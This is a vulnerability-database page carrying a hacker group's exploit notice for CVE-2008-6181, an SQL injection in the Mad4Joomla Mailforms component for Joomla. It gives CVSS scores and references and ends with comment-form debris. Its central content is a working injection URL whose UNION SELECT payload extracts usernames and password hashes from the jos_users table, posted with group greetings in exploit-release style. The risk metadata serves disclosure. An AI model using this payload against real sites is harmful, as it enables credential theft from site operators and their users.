Joomla Component mad4joomla SQL Injection Vulnerability

2009.02.21

Credit: H!tm@N

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-6181

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

#############################################################################
#							                    #
#     Joomla Component Mad4Joomla Mailforms SQL Injection Vulnerability     #
#							                    #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: hitman[at]khg-crew[dot]ws
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName:    "Joomla"
[~] Component:     "Mad4Joomla Mailforms (com_mad4joomla)" 
[~] Author:        "Dipl. Inf. Fahrettin Kutyol"
[~] Author E-mail: "joomla@mad4media.com"
[~] Author URL:    "www.mad4media.de"

########################################

[~] Exploit: /index.php?option=com_mad4joomla&jid=[SQL]

[~] Example: /index.php?option=com_mad4joomla&jid=-2+union+select+1,concat(username,char(58),password)KHG,3,4+from+jos_users--



########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

References:

http://xforce.iss.net/xforce/xfdb/45815

http://www.securityfocus.com/bid/31712

http://www.milw0rm.com/exploits/6724

http://www.mad4media.de/mad4joomla-mailforms.html

http://www.mad4media.de/mad4joomla-mailforms-faq.html

http://secunia.com/advisories/32239

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Joomla Component mad4joomla SQL Injection Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.